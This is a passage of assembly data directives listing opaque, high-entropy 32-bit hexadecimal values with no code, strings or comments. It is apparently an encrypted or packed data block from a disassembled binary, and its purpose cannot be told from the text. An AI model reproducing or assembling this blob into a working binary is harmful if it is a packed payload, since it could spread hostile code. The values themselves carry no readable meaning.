9D467047h, 882F17Ah, 0A9124157h, 0DBC47DEEh dd 0B57AFA04h, 31090141h, 232198Bh, 0A682E44Ah, 99C4E821h dd 25C17320h, 0DD70C968h, 0C846F39Dh, 1EE94171h, 549E26CAh dd 799A6F4Ah, 1D821299h, 0EA5F095Dh, 0D3408120h, 3871375Ch dd 0B84275DAh, 15E6B15Fh, 4B296CFEh, 2270F17Eh, 3604D677h dd 5001204Ch, 362C0968h, 0F286504Eh, 1829465Fh, 522F93Eh dd 78AC9FFDh, 65FE0AC4h, 1F98AF2Eh, 12099081h, 12C801E8h dd 0D453DAh, 1434F058h, 59002D66h, 57192936h, 2E2A6ABFh dd 5824CF5h, 0BAE2160Bh, 642B33C2h, 5B840F2Bh, 2E661479h dd 0B90016E5h, 1D4D12A3h, 124EF181h, 177AF845h, 1698221h dd 0CDBA20F7h, 0F2214004h, 839A90FAh, 21C0908h, 0FC766929h dd 0DF1A973Fh, 5EF2F400h, 0F546E95Fh, 9FF4BC2Bh, 68902A04h dd 94AF2484h, 0DA5C821Ch, 0C1DEF702h, 9B20041Fh, 38E8124Fh dd 5A07E07Ah, 0E9D11897h, 0A7326593h, 60C707CBh, 0AB5AA437h dd 5DBAC42Ch, 31862E20h, 0FE9596D7h, 0CF5C92Eh, 0BC5B0AA4h dd 824F3598h, 707641E6h, 72D65452h, 327A8AC1h, 0FB20580h dd 94AF590Bh, 68080255h, 8D765447h, 956F6260h, 1E26C07Bh dd 294CDF2Bh, 820F6B4h, 0FE5B5A2Fh, 5D57058h, 8105A2A4h dd 214D1BCEh, 0DBEE8501h, 0E57EF3CFh, 68EC10B3h, 18BD0685h dd 9F4D86C3h, 0E620E514h, 4E9EEA2Bh, 8D1FFDB0h, 90F91395h dd 0CF810B9Eh, 1CAB7D4Dh, 515DD170h, 60D5C979h, 98EB29DDh dd 6740635h, 0E5D6D51h, 907E8624h, 951E011Bh, 91C0818h dd 45C9132Fh, 0C889045Dh, 64A7BEF1h, 0FED21413h, 975D9028h dd 896E14D4h, 0AB95F747h, 2EA0D596h, 7E33CC0h, 0AA7CC113h dd 0BDF03D29h, 278BBB98h, 0DEE979EBh, 551A9715h, 5D6B3F01h dd 0B23A4A8Fh, 585B17A6h, 54BDD2A4h, 0EE5A2E2h, 53F835F3h dd 59B646D2h, 39050C06h, 454A6438h, 79B8C0FFh, 0BF9B4E7Dh dd 0CCE3C428h, 0CCB623F8h, 0D6DC422Dh, 11B90175h, 7E2E0215h dd 4AA271C6h, 0EE2DBAECh, 0B7B018F8h, 0A83DCA0h, 63BFD938h dd 91D1044Dh, 82677E03h, 4E75D013h, 738997B0h, 5FC47556h dd 265B53B0h, 4A81F028h, 0AB95BFA5h, 0CE0281F8h, 6DA818BBh dd 0E6D16840h, 72E95109h, 4D65DFC0h, 29208028h, 0CB2EED65h dd 0EBB61075h, 9FB3113h, 2CE1AF4Ch, 3E766180h, 6809E1E6h dd 4C540A34h, 0A2AB50C4h, 53EA8038h, 0B868EBh, 0EF3BBB4Fh dd 7B157805h, 51AB58BDh, 8C18072Dh, 1FC62468h, 0BA32CEBDh dd 3168338Ch, 8EBB524Fh, 0D9F7C2B4h, 7F7E4B3Ah, 0DD84038Ch dd 8D81BDDEh, 3BCD9F44h, 47274D80h, 0F1D7B093h, 805DA44h dd 0A8B03DE9h, 3BB10BBBh, 0D57679E7h, 0FF81A53Eh, 72D17F07h dd 91C61DD0h, 0B9093798h, 0FC1A3C41h, 665F9CEAh, 0C20C2053h dd 967DE9A7h, 7527C751h, 0BA03F829h, 93C37A2Fh, 1B8F3806h dd 20C6B4Eh, 4D41749Ah, 4742F729h, 0FF000809h, 40CB464Eh dd 0A097E917h, 7655E390h, 0C0B8CDh, 0C2F6B0EAh, 0CB8AE931h dd 52D2181h, 86206A05h, 900085E0h, 278FBD27h, 52113B25h dd 3D50039Dh, 12E9347Fh, 0F60563FEh, 205ABB18h, 566F7E80h dd 0E9030B34h, 9077484Ah, 50F5C68h, 3B68C8B7h, 7C31AE53h dd 8A9DAE02h, 81CC975Bh, 0F4DE207Dh, 529486EAh, 20CA69EFh dd 1650054Eh, 682909EBh, 31B04918h, 6A5059AEh, 530BCFA5h dd 590C1275h, 1402289Ah, 965A4799h, 5CB34071h, 0A0C19E97h dd 2FF42C14h, 475BF086h, 7AC6D4A5h, 977B7A7Fh, 3A14898Dh dd 0C12A672Dh, 3AC2D743h, 671349A3h, 0AA29FEABh, 0AEED842Ah dd 0B19683F2h, 0F0E82F4Ah, 3E80F7A2h, 1D1991E6h, 4256386Eh dd 0D5427B0Bh, 0B5F147A1h, 97AD4C4h, 0F459CE30h, 58837DB1h dd 8905357Fh, 0C169D162h, 57BD5537h, 5E5DE208h, 0E4C2ADF6h dd 726081C0h, 0F7D41675h, 617FB0D9h, 0FBCD9169h, 0BEC23F07h dd 8160743Ah, 0AC0B0CEFh, 0ADCC4229h, 42229E78h, 0B623203Eh dd 18327495h, 2E698EF1h, 0E968430Bh, 548F61F8h, 972C0ED8h dd 65CBA971h, 0BD7B8BF2h, 0F88D147Fh, 22859D70h, 56E02C45h dd 6AE92090h, 138B81CBh, 0D3F62620h, 515EBF68h, 1F265FF3h dd 285207B7h, 56EB57E3h, 850B1258h, 9843A568h, 73DE8886h dd 2DF57551h, 3B2459E8h, 0DA7CFA5Bh, 2DC36188h, 3CDBB1E9h dd 6113D689h, 12EF1F84h, 9F8AAA20h, 161DA25Fh, 0FC43F2B3h dd 0B28FB450h, 0C48E60E4h, 0D6F780B6h, 7F0C54B0h, 116CBA0Ch dd 27ED09C6h, 30007D49h, 0F8533D0h, 98104BB7h, 0E6C80791h dd 0E3CB4F09h, 0DFFB5068h, 2784BF80h, 82FD4544h, 41CB29EAh dd 667A81A0h, 0B9053C1Fh, 4FC67984h, 5DB6D1ABh, 0DB293F69h dd 3A0B697Bh, 7DA197D1h, 337F5D02h, 0EE5EE9DFh, 0B659A34Ch dd 544C2D9Ch, 0BD686920h, 0BA049158h, 14471971h, 0ED0C9C1h dd 0FC7E49E5h, 500841F0h, 0A7E9535Ah, 0E49CD24Bh, 0FB79EE0h dd 0E3771068h, 359C16C4h, 0C0C680ACh, 0CA4ECBC9h, 90CF0C4Bh dd 5841E477h, 0AD500E82h, 3D70BF4Fh, 431E9EFEh, 2FFC45ABh dd 0E4DD4C99h, 0EA88800Fh, 89B671EEh, 0C028B405h, 6F80A50Eh dd 6F5AA4A1h, 3B84D9EAh, 0E0CA2122h, 0D43BEFBBh, 8D187CDBh dd 1F871621h, 3EC3BE1h, 0ADAAF0C5h, 0FAE1D60Dh, 46D42930h dd 3F49260Ch, 59535D82h, 0B4EE7D5Bh, 2A92E919h, 5D2076B7h dd 66807D07h, 0C2530613h, 0F9DDA382h, 1EE9893Fh, 0F2BF7046h dd 80755F31h, 0DE685639h, 3F020F01h, 6EEC15Eh, 9820047Fh dd 0C434FC61h, 0D1455DE2h, 57B8095Ah, 0EBF10A63h, 97716CF9h dd 2EA201AEh, 704C2D15h, 717952Eh, 0B8B0DFC9h, 3E2C96B5h dd 3B6AAB00h, 56F78168h, 4E201916h, 34667F01h, 18874D38h dd 0E9E239C6h, 0D342C1D7h, 4EE8DB31h, 0C764CD9h, 0BE04ED85h dd 2D0B8130h, 4F1E7D5Ah, 43A582E3h, 0CBB34BD5h, 1D0BF149h dd 0C3E2D02Bh, 0F12583BFh, 0A22A7F31h, 3751046Ch, 0CA2F8066h dd 0ED302122h, 2A701818h, 0C5C6031h, 680538E4h, 18AA294Fh dd 0AFEFEFBh, 1602603h, 2585DEEh, 1A25DE14h, 7F0B296Eh dd 58379196h, 0DE40C7C3h, 962E2598h, 0F2123F29h, 0EAC84EA9h dd 8708D54Ch, 0B825CD7Dh, 5461106Dh, 41DFB05Dh, 74F3D40h dd 41804520h, 71AB3ED2h, 0E4BE899Ch, 9A77467Ah, 4139EA97h dd 0B1C41A76h, 6262FA16h, 0A985A5BCh, 1EF32555h, 0B5322A0h dd 0EFC03FB7h, 0A8F0A284h, 70AA5BD1h, 587868BBh, 389F659Dh dd 53EA85CFh, 11D0FB40h, 4AE54B73h, 81C6F825h, 2C2E120Dh dd 3F7B2B3Ch, 8B30E906h, 1172BEEDh, 0BA55FB01h, 73D66AC3h dd 1078E760h, 7216C412h dd 0F75D14Ch, 0E0374556h, 0A51E1025h, 61E91346h, 8F7997CEh dd 0CF9EA82Ch, 97917997h, 7039B9D2h, 457285AAh, 0A2F180BDh dd 9E2A316Bh, 1208A0ACh, 0AC3AF868h, 0ABC6CE57h, 4F9EFF32h dd 0E488C793h, 7F680443h, 658B34Ah, 775A2FFEh, 586F4AAAh dd 304B1CA1h, 811CCA28h, 8F58BE09h, 2E8A4912h, 0E229BA70h dd 9DF1B54Ch, 0E9160CA0h, 0F5635F0Dh, 0F4BCD1C3h, 427F4225h dd 0F910BA2Ch, 0F1B560DDh, 21C53324h, 380960Ch, 0F04B294Bh dd 0E6D6AFB6h, 45E65F10h, 0E4B01C20h, 0BB308D74h, 35AF3C28h dd 0BD2F5B60h, 520840AFh, 1A5D680Eh, 7C5AA9BEh, 9F6030B7h dd 38166D04h, 214A6AE9h, 0F802AE5Eh, 862E834Bh, 18AFF5h dd 0CB81435Bh, 2CB26304h, 6B02FF98h, 31755D3Ah, 54F98BD3h dd 0C0777AD3h, 945A32C6h, 0CE90490h, 7E44EA8Fh, 28AB0D87h dd 3040B331h, 0EA321D05h, 933D3D6Bh, 7ECBCE5Bh, 5A476E64h dd 580A8B8h, 29425FF3h, 2EE14848h, 0C8AD65F5h, 0B7B29F83h dd 34FA2619h, 435A68BEh, 0ECD86AB8h, 620118C7h, 30FEBE37h dd 6A3091D4h, 0E37E2DE9h, 7A9744FAh, 5E8DF682h, 38E4CDB0h dd 52AD4036h, 0A8724724h, 5CDDCD09h, 0F746CF42h, 0C1074FD7h dd 925302Ch, 4BB88B2h, 0EA578145h, 874BE061h, 84F7F133h dd 8C20E58Ch, 76F84342h, 0B1ED1C4Ah, 18781B0Bh, 0ECBF7BF0h dd 2CC77097h, 8EC99C91h, 0A476F329h, 23401373h, 0B0501E52h dd 0BAAB4918h, 7E63FA0h, 68035351h, 6C86B71h, 9CF61D5Bh dd 0B995D729h, 60E10378h, 3B49CD5Ch, 6890F30Ch, 47EF0511h dd 3AF301Bh, 62B00826h, 1869EA01h, 0CE21A63Dh, 8B307A31h dd 0AE403063h, 1910E7C8h, 5F02B825h, 0F3D1D011h, 48CA1006h dd 10C4F36h, 0A5BD5B9Fh, 805FFD89h, 0A01EF7F6h, 95EE3149h dd 7D527F7Ch, 2F29F0C1h, 56ACF422h, 3DBD0186h, 3F42A259h dd 89E758C1h, 0E5022D79h, 3104185Ah, 0DEE64A7Dh, 0C6015B0Ah dd 50CD3E05h, 2C6BEFC1h, 0D200BAF7h, 0D125D04Ch, 4D5A68EAh dd 5C8E606Bh, 0C2656D25h, 220A7581h, 4610F702h, 58A8C117h dd 0E603C428h, 1F0240E1h, 0BF83B0B7h, 8BA0E5FFh, 0F2E16037h dd 882307Ah, 26B9C7FFh, 0E557683Eh, 0BF01C253h, 0B920EE72h dd 0A772CE41h, 0B27FC1C7h, 5DF95DC5h, 4720ACA2h, 0F7A6A0CFh dd 6E6C0B0Ah, 5D00EAC1h, 0CB11B3C2h, 0D5014717h, 7B1B7C80h dd 534E4C29h, 472894Ah, 0F9CBC4D7h, 0BCE85E78h, 0B8E165CBh dd 9DA57E31h, 0E14734E8h, 0A542AC3Ah, 0E98273F2h, 5955B409h dd 4367EB91h, 27F31B08h, 179C4AE8h, 571DBE13h, 664BC7F4h dd 888F22E3h, 66363004h, 2CBD13C0h, 0AD31A9C6h, 0EADC34Fh dd 0A4E5597Bh, 0E87E5727h, 0EB6A82E9h, 0FA5A0471h, 2188138Ah dd 3208CE26h, 37B50BA5h, 0E57E02D7h, 0EE7004B6h, 0FA178DC6h dd 8370BDE8h, 0C8F1CEF0h, 531F6633h, 6FEEFCB3h, 321F7425h dd 0B982FE07h, 99E4EEBFh, 0A0E69120h, 0D6B54E1Ch, 1325B70Ch dd 68BE4A3Bh, 2EED83CAh, 9184BFF3h, 0C1A9FCBEh, 0CC950A2h dd 12A5EA71h, 0E92F145Ah, 0B5DFF0E0h, 0F0723C54h, 0EC712D3Fh dd 5F15C801h, 0C03420A7h, 1A520D4Eh, 2CC6A801h, 606017F1h dd 48D28144h, 0E540F4AAh, 5F9A04BBh, 0AF43693Bh, 18F59DE0h dd 0C2DBD4Dh, 0C90B44E4h, 8ADD8963h, 2447655Dh, 2D3A1619h dd 945831E9h, 9BA29495h, 0DF181B1h, 706EE368h, 4F2D5ED0h dd 3C447C6Ah, 0E6564C89h, 89B1805Dh, 94EFE9CDh, 68133E43h dd 545CB04Dh, 0B5626FBDh, 0A9A2FF72h, 35756882h, 16910DCh dd 3F5D1A7Dh, 30E9FBE4h, 0EBA92C40h, 91160BBBh, 60FA5E5Ch dd 2477FFB4h, 3F256817h, 0D934D8ADh, 300DF1A6h, 1618ED15h dd 0B00C6805h, 7B3C2D4Fh, 3DD9A77Dh, 50192941h, 0B52C28E4h dd 0DA21E998h, 2DA594B7h, 3390482Ah, 0AB3ABF66h, 85B84B07h dd 0F7810C78h, 0C70A55E5h, 35CF5E3Fh, 43070E57h, 79DF1BD5h dd 0E84C610h, 0A2266BE9h, 44680A88h, 46F8D46h, 93BC224Fh dd 2CD088C7h, 0AE29E9E0h, 4702E78Dh, 61FCE293h, 1029962h dd 431370F0h, 84AB6128h, 5CD48E10h, 0EAF84B98h, 0FC0B87F2h dd 784C43CDh, 0E1B91801h, 2960193Ah, 4617987Bh, 2CAF997h dd 2DC35AE2h, 0AE02D43h, 0D3B0194Dh, 6EABF204h, 0C1BF8B1Bh dd 0E25E30h, 7D30092Dh, 0C084C78Ch, 0AA2BF54Ah, 2908CD50h dd 68045758h, 0CAFE7969h, 0ADE9099Ch, 57E0104Bh, 39E809CEh dd 4730F231h, 4294D001h, 22136452h, 0AB68CC9h, 0A29019E9h dd 0EF87DCC6h, 8017976Ch, 667DC702h, 0C0F83059h, 0FBA70284h dd 5145AFAh, 2860571Ah, 7F5C0C01h, 0F63D813Dh, 0B5F112DFh dd 34815817h, 0DADC7D2Ch, 5B0EC91Ah, 310B26D4h, 0F704FFCBh dd 132EF925h, 508C5647h, 0BE8A407Eh, 0B66F500Bh, 177C23h dd 16BFEA81h, 85BF76D0h, 80BC269h, 91037F56h, 0CA84367h dd 5B033835h, 2540493Bh, 6D54919Ch, 331CD4h, 0E52D611Fh dd 5265B0Fh, 0AD780B0Bh, 0AB0E7F54h, 0F5E9FE61h, 0C0B9A7AEh dd 5C2EA2FEh, 277EFF5Ch, 9202778Dh, 550469DDh, 0F358A82h dd 47C81A65h, 3369E4AAh, 0EB843EC4h, 7168F4D8h, 52E6BF66h dd 27C85A5Ch, 88DC79B8h, 0E225C311h, 4B1EF900h, 867E95DDh dd 1D44CBE9h, 3FFC737h, 68B1EDB2h, 17CC2EEh, 0A0BA7D70h dd 0FCD0DB90h, 1ED2C571h, 0FEB253BFh, 648DE997h, 5B8B11C4h dd 1363BD02h, 34EB709Dh, 0A903C28Bh, 68418CF4h, 8A620B52h dd 0E90187A2h, 0B92AE473h, 4174250Ch, 58E3BDA3h, 0B712132Fh dd 3E5E9080h, 6F584544h, 1E098E4Eh, 0A5C5E7D3h, 93511DEAh dd 0C49C21DFh, 7F8D2B3Fh, 5208D21h, 287F09EFh, 92801CB4h dd 0E3CBAB16h, 74C50CBDh, 26659633h, 0C66B27A4h, 684C29Fh dd 38C259EAh, 0B1E07584h, 0CC2324EBh, 0C5905C1Fh, 0E94316h dd 96CB0750h, 348F014Ah, 0EEC288E0h, 1C145E55h, 0EDF2DD42h dd 0CD2867F6h, 0C2E7ED90h, 4FC1F97Fh, 0AA2B8BC5h, 1142D330h dd 29612284h, 0A2B9482h, 0BC31427Eh, 54011421h, 0D326DC5Fh dd 0F6A5CDB1h, 7BD209F7h, 58459871h, 47118980h, 0A84F4B29h dd 0B5CC81BDh, 0F17BFD86h, 4B123FA1h, 66B0E6A8h, 68E6E1F7h dd 6E60922Fh, 0A04B2DE0h, 45F17D7h, 0AC124E68h, 0A420C5C5h dd 4D1007E6h, 35EB5A1Eh, 6C2CBBE6h, 0F3354B25h, 4943001Eh dd 4F0D7859h, 70C47741h, 0AF25072Dh, 71D8F73Ch, 3AD1DBADh dd 7BEC2084h, 2E905C25h, 0BCB6C1E0h, 3609D393h, 7B20020Fh dd 525F0288h, 77584B5Ch, 0AB50C6Fh, 310B73BAh, 8E61EA48h dd 390D532h, 0CCE7E2EEh, 0F5FED90Ch, 8D9EC469h, 7A14AC55h dd 98F10505h, 5CF62DEFh, 0A0415626h, 57D833Eh, 73B44AC9h dd 0A66839EAh, 5160DA12h, 0B1E65B9h, 52E97C3Ch, 0BBBD43E0h dd 1541041Eh, 1457E38Ch, 978AA159h, 0EB0F842Bh, 98642A2h dd 60B5A3E8h, 2F3762F2h, 0AED16506h, 559F3862h, 0D5F39B66h dd 98B17D88h, 0B6851E4h, 3DBE2FF0h, 80F12E81h, 3B7A314Ch dd 0FCC73140h, 98341467h, 2505FA03h, 0B7FE3C4Ah, 1CD008A0h dd 85444A14h, 34124B6Eh, 59A94BEEh, 0C2B0C475h, 0B3B252A0h dd 60E98EE0h, 5E2F1196h, 0F1F670D2h, 28A176BDh, 7F390491h dd 0EAB9F7E9h, 35E50D47h, 0FA086C43h, 4AA2D586h, 92FD74EDh dd 0FF6F7D2Ch, 8D615925h, 2019F8E9h, 0C8FCBBCAh, 2094294Ch dd 90314AC0h, 0D2BE237Dh, 0CF284E67h, 294339C1h, 841252Ch dd 0B2FC5255h, 6DDDAEB4h dd 0F1C14158h, 9DC87220h, 0F1F85D9Ah, 0BD2F734h, 0A512F8EDh dd 6AF96230h, 0D82958C8h, 2EE0558h, 2E685E55h, 59149015h dd 0EB8BCF23h, 37C507C0h, 0B6B0C329h, 3A319741h, 6A953C41h dd 0BC305FC5h, 885D408Dh, 0BA51E239h, 1C64DDD1h, 0DC27DCFDh dd 6A607078h, 2D167101h, 0DBDF29C2h, 12A7C230h, 17499857h dd 0F022EF70h, 9BD6A9h, 0AD4BAAB8h, 0C3560164h, 0E95809A5h dd 0CCCFAAC0h, 0D0BB0393h, 1C2EA580h, 79532026h, 982D3946h dd 4B073E40h, 2390363Dh, 1680BEBh, 70DA0957h, 5CA9EEE4h dd 59250C8Fh, 3EEE3E69h, 30EC55B5h, 8239C49Eh, 0F254D87Ah dd 0EE01003h, 286A8E9h, 53FCEA3Bh, 0D058BCC2h, 0B53D0BFh dd 1F2B0DF5h, 2392A281h, 5FAAF755h, 5525FED6h, 0E90551CFh dd 0FDE87C70h, 0B062E5E7h, 551E57E9h, 8E495D5Fh, 0D1B0A75Ch dd 0D55E0079h, 0BA36AB21h, 59969C5Ah, 0BA7806h, 0E04CD7BFh dd 581477Fh, 7522D1E7h, 20BC012h, 162DDB0Ah, 37A55731h dd 5AB3E8EEh, 0BC7CD699h, 0F4BA7117h, 3005DE02h, 0DF874C15h dd 9F0856C6h, 83DA2F00h, 0E9165791h, 49BD9F42h, 82043E48h dd 81798B27h, 6BD161D3h, 0A7EF6E34h, 0AD7192B5h, 2000571Ch dd 49666E7h, 10057D4Bh, 52F15A49h, 0A7A7CD7Fh, 0CF8A1498h dd 0F114C9A4h, 76AF6515h, 8830190h, 4A120C17h, 4968D102h dd 0C41F4677h, 964E778h, 5A4E5C5Ch, 4EF63058h, 0FF30562Dh dd 87790513h, 25981654h, 26784A09h, 3E57F653h, 0F354C892h dd 0E96B98A3h, 4CB75EC6h, 5E49F0D9h, 1FBDF9BFh, 0D1780B56h dd 278C94D5h, 0F7DA67F9h, 666B07EEh, 5E1BD20Fh, 2D25BCEBh dd 0AE9CF5B9h, 0A7BDE916h, 97FC2591h, 2CC6A007h, 0B9345427h dd 4BB0BEAh, 0EBF9014Ch, 0CA3D13B3h, 13FD2A2Eh, 0AF72635Bh dd 0E7F5BC85h, 51E834E4h, 0E1FBEC4Bh, 52A03E9h, 0AF475F88h dd 5F50D8A2h, 991712FEh, 14D1BB30h, 0C3282EE9h, 0BED0C44Bh dd 3FD7631Eh, 31FB15C5h, 4250EFC2h, 6D4367FFh, 82087A41h dd 340BB11Ch, 80B9C427h, 955E5D08h, 43951977h, 0FC4AD06Ch dd 1AA55AFCh, 1518E101h, 8592F26Bh, 39AE1A54h, 0C922042h dd 97EC66B7h, 5197AC14h, 0F1C92546h, 0BBD7C7A8h, 0D86BA9D6h dd 1FCD03E6h, 0D1BE5A90h, 99C50B4Eh, 5EA45257h, 2A7C169Ah dd 0A60FFB6Ah, 3DFF529Ch, 186B63D5h, 0C141D914h, 1A0D1255h dd 7FA1A901h, 0D19FE1EEh, 0CF5FE990h, 25348140h, 0CE58C630h dd 8443E57Dh, 9818B868h, 0E56E7E9Bh, 0E57CCE8Fh, 71B84CDCh dd 69526818h, 170F30C1h, 85493CACh, 9A44E658h, 931E7B31h dd 5CA8E021h, 0FD2795B8h, 9010460Dh, 511E9DB8h, 0C26FFEBDh dd 0CA8AB8Fh, 0BD8508B8h, 0B9133026h, 5D57C049h, 20BFF348h dd 1E10684Ch, 0AEFEE7C1h, 0F6A7A28Ah, 0C7E31802h, 243D12F2h dd 4BDDD84Ch, 8D3150E5h, 0EE5F942Fh, 0D8943809h, 8BA0452h dd 0C029037Eh, 22283B7Bh, 8B484F60h, 9C11A60Fh, 602A0008h dd 46E9B7E8h, 7FA90B9Fh, 0E28C2C67h, 0A1585CD5h, 0FCEA4F6h dd 0C730BEC2h, 0FF27F7C4h, 85D79AC4h, 0C2EE690Fh, 0EC744AF8h dd 80DFF601h, 0D5E88FEFh, 62C796C7h, 83F65B52h, 3348F602h dd 0E6D87838h, 0BF4A2D9h, 0BDC3940Bh, 846288DEh, 0E84655C5h dd 1CB5822Eh, 0BE542444h, 80B8500Bh, 2DAFE239h, 5DCA056Ah dd 0B6072478h, 0A4635CF2h, 33A5500Dh, 0ECB98042h, 0D9D70126h dd 124DFE0Eh, 555D8EFFh, 2D9D23D0h, 0B2D271CBh, 10B653E4h dd 5948037Bh, 62232F2Eh, 5E45558Bh, 8AA1B913h, 8145D821h dd 57B090AFh, 2D1FA1BFh, 0CF012C4Fh, 4E844115h, 0C1C7B8E3h dd 923427CEh, 2B5214C2h, 0C0387E20h, 5A041388h, 0C14D8332h dd 0FBED0502h, 7283CDA5h, 9AFB8443h, 84685076h, 9FEB2F44h dd 215F7849h, 1AAE2951h, 0DFBD45E9h, 581B1EE8h, 0AB50B1B5h dd 0BB85007Bh, 648F0B73h, 0E015097h, 7A90BE56h, 0C475EF89h dd 0AB52B5CEh, 52402509h, 0F749C23Eh, 432025B4h, 0EE89172Ch dd 523FF05Dh, 0EB44C3F8h, 1A98B0C2h, 5D295092h, 2C0C080Ch dd 300E5215h, 89E9C234h, 927A6CDBh, 966813E6h, 0E36D3547h dd 0D7EC4F12h, 0E9C9884Eh, 5EA3D62Dh, 0F13B6504h, 97F5F437h dd 55BE0AC0h, 3E7FE554h, 0EA24F189h, 66AC8171h, 0E9616D68h dd 531E2AE4h, 36C395BCh, 125783Fh, 4EC0E654h, 1314A8BFh dd 0A4F45350h, 0E6E990EBh, 0B1DB90Bh, 6C7DD3AEh, 5BF8F62Eh dd 6CB044E2h, 338BBFEBh, 41C01A3Fh, 5FE0DCF9h, 24D87F4Ch dd 47023B52h, 0C13DD41Ch, 229F06EAh, 0AC148BABh, 0B66F6CF0h dd 9775E585h, 212543F7h, 816975Ah, 0A3E8C831h, 0C97B6D16h dd 3BAF600Ah, 52474364h, 43D55B49h, 55423E1Eh, 5BD061A5h dd 4986FF5h, 681740EAh, 7E69A506h, 0CC5921h, 6B365CF1h dd 50E1D109h, 0B3202390h, 0AB803B1h, 2944B75Ah, 0C6D0664Bh dd 0B5BF2FE9h, 615B43E8h, 89498472h, 0E9D10965h, 0F67648B8h dd 5E547E15h, 0EDC58547h, 3799809Bh, 2DE90D97h, 0EC44223Ch dd 0DE0920B1h, 0BEF0462Dh, 0EF25BBCDh, 68BBD94Bh, 0EE852A8Bh dd 0BC5872B6h, 0C4F2168Bh, 7B5F7520h, 0B4935954h, 459FB90Bh dd 0F146560Fh, 0ED09B926h, 85F36696h, 0C55CCEA2h, 63D7CB1Dh dd 29FD0684h, 0B62CFAD3h, 5AAC4079h, 49D0094Bh, 2FE4C369h dd 0F2098928h, 0CBAF82F5h, 0D7540B6Eh, 0A109631Ch, 8190F028h dd 296E23FEh, 0C7127F9Ch, 0A88477ADh, 7D344976h, 0E9249ECCh dd 0DCAFA377h, 810164DEh, 0A432A55Bh, 7505B2FBh, 50BA7BCCh dd 5E250883h, 6B4FD7FEh, 560324BAh, 62AA9AFFh, 26698632h dd 284AC5B5h, 0E7100DECh, 0B9D9504Fh, 0B258E809h, 0A2E0752Dh dd 655C0896h, 0CCC216FCh, 5FFB1644h, 0B7B95181h, 0E4F88705h dd 0AE011295h, 4D0D4373h, 52E62EDh, 0EA04339Bh, 0BD58AE2Ch dd 0B0B5B5F8h, 9D59CBC7h, 3108C55Bh, 0FD3B3FA5h, 28FEF092h dd 0A7A043DFh, 0FD00231Dh, 25D8F76Eh, 50474E30h, 8035DC58h dd 415EAB68h, 0BF973FA6h, 8D5FEEDBh, 1DBF3095h, 4BD24802h dd 77B821E9h, 143147CCh, 0EB83BD1Eh, 121EA37Bh, 0D9FAC977h dd 0C4616E9Dh, 21014648h, 489759F0h, 5430E9DCh, 0DF2D2237h dd 0E4856202h, 2802649Dh, 31B92FEh, 845CC4F2h, 96CBBDAAh dd 0E90972CAh, 6EE97673h, 0B9983F02h, 0D513A066h, 48D5D894h dd 769D0D68h, 0C5488Bh, 7C36074Ah, 35E44F97h, 2762613Dh dd 0CA3F0227h, 0D15B04B4h, 39AF2AB3h, 6AC8255Fh, 0DD55423Ah dd 0C3813C83h, 3DFE1FB8h, 8AA289Fh, 1C875804h, 4BC574AFh dd 0ABC2A3B6h, 8C0C4775h, 0E221D0F0h, 1BD811EEh, 244D146Eh dd 0B74430Ah, 74CC95EBh, 8EC4705h, 7FC8EF01h, 8CAA4B4Eh dd 8E60C374h, 35665F10h, 0C6027442h, 0B274E58h, 6C30B33Fh dd 8BEB10CEh, 0A5240A6Bh, 0DD12F993h, 4EB0F7AEh, 6912D3D8h dd 55021D36h, 21E25055h, 2C025AF6h, 611E049Eh, 0A504A8C1h dd 0BFB02A44h, 0E62D05CBh, 82C8893Ah, 654E971Ah, 196AD127h dd 136A1CC8h, 0B1740484h, 1629FF5Dh, 742C972Eh, 716802CBh dd 323C7167h, 3D7E779Eh, 2F91BE00h, 974E603Ch, 0FD289FE0h dd 76293E27h, 0E9D38571h, 2D79B8D2h, 6291F159h, 84AF317Ah dd 38CA913h, 3C2E91EAh, 0CD96D947h, 4E2EE36Bh, 88D88B31h dd 82B6FF05h, 469AB902h, 75D4516h, 3D324913h, 0A9BADFA4h dd 5427ED64h, 0EF37DE3Ah, 0EEC73065h, 0D05C303Ah, 2628AE97h dd 1A7E6093h, 514ACC80h dd 1EE2B13Bh, 0B37F0CE1h, 0AAA40CD9h, 0BEB3C9A6h, 4E335CD4h dd 9330A308h, 0B38039C4h, 4F405797h, 13EEE80Eh, 74BD2927h dd 5B649110h, 43C1BC90h, 405F0097h, 8201652Dh, 0A709052Fh dd 5CFEABDh, 8D9C5865h, 0F95A5CD3h, 0BF0ED618h, 2027FDC7h dd 0EE74FCF9h, 0F6007C88h, 50D586D2h, 48EC7288h, 9221C0E6h dd 0B89E15BCh, 28572408h, 0F6D5880Bh, 685A6066h, 0CAB45CFCh dd 5F027F62h, 751A4218h, 4372332Ch, 624DBB01h, 0C37A111Bh dd 56E835F4h, 686B0B28h, 9D5950CFh, 86926B71h, 40BB9DEEh dd 8035B1AAh, 5301C100h, 0EFC059B7h, 306CF05h, 45E785h dd 0F9303C84h, 0CC3E885Bh, 0FC40259h, 98D97E9h, 0F8099A5Eh dd 0AE18DD3Fh, 68809B15h, 0CC4C4EACh, 5A183DBCh, 67CA096Bh dd 26EA4C19h, 0A1DE4425h, 0B7530669h, 0E22158B2h, 8CDB091Eh dd 59149C7Ah, 0EC288F96h, 6DDC6C2Bh, 76E2D109h, 0DFF20001h dd 0E977415Dh, 0D16ED72Dh, 0B9FB8923h, 0CF7B65CCh, 0A622DB2Dh dd 0E05D9755h, 9CD198D5h, 0BD082A03h, 4CE9C6F1h, 0CA52258Eh dd 82E49A7Dh, 6C5C1B01h, 72040BD3h, 2A024B3Eh, 0F6053766h dd 8F5AA40Eh, 70BE65DAh, 0B48385F3h, 6DAC091h, 9DB8B841h dd 0ACB6080Ch, 0C84E112h, 88E3301Fh, 0B059B1D1h, 0B5A05A8Ah dd 5F3D6086h, 0F33A12C3h, 3AED085Bh, 5E8B0840h, 0CBA1ED03h dd 260B7587h, 25879577h, 0F62039D5h, 0B70F1B38h, 28C5B20Dh dd 52AFC0FAh, 0E924CBB6h, 0FDA72F8Bh, 646AB53Ch, 0A00327CDh dd 0DB289926h, 1216A6D4h, 0AB9EED80h, 0F4814993h, 0AEEE53FAh dd 18AA3C0Ch, 1BE22D68h, 6267F499h, 28E03204h, 295D01DCh dd 0D3C20D8h, 99A73AF9h, 28C35112h, 0E7955811h, 8651AD82h dd 0DD6C6862h, 0C7759289h, 5F5E80EBh, 19E97315h, 38FEA35Bh dd 905F5990h, 68C28CADh, 72FC7C5Bh, 2B70CA71h, 8287ABDDh dd 69E3D42Eh, 227CAA00h, 0C89A21DBh, 800506C9h, 0DE24E2A2h dd 47E918FFh, 0E6C0409Ah, 0C6302098h, 0F64D063Bh, 40AD6D6h dd 0D078A009h, 